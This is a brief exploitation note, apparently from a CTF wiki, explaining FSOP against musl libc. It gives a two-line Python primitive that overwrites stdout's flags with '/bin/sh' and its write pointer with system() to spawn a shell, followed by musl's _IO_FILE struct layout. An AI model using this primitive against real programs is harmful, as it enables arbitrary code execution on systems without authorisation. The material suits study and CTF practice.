Musl Fsop


Musl code is in general, simpler than glibc. Same applies to stdio code. As a result, musl fsop exploitation is also simpler than [[7734a66b|glibc fsop]].

There’s no vtable, no encoded ptrs, etc. So you can just overwrite any of three function pointers and get rip control.

RIP Control

Overwrite STDOUT:

PY
1
2
asq[0x00] = b"E;/bin/sh"       # overwrite `flags`
asq[0x0B] = mus.sym["system"]  # overwrite `write`

Reference

C
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// src/internal/stdio_impl.h

// Size: 232 bytes (0xe8 bytes), alignment 8 bytes
struct _IO_FILE {
	unsigned flags;
	unsigned char *rpos, *rend;
	int (*close)(FILE *);
	unsigned char *wend, *wpos;
	unsigned char *mustbezero_1;
	unsigned char *wbase;
	size_t (*read)(FILE *, unsigned char *, size_t);
	size_t (*write)(FILE *, const unsigned char *, size_t);
	off_t (*seek)(FILE *, off_t, int);
	unsigned char *buf;
	size_t buf_size;
	FILE *prev, *next;
	int fd;
	int pipe_pid;
	long lockcount;
	int mode;
	volatile int lock;
	int lbf;
	void *cookie;
	off_t off;
	char *getln_buf;
	void *mustbezero_2;
	unsigned char *shend;
	off_t shlim, shcnt;
	FILE *prev_locked, *next_locked;
	struct __locale_struct *locale;
};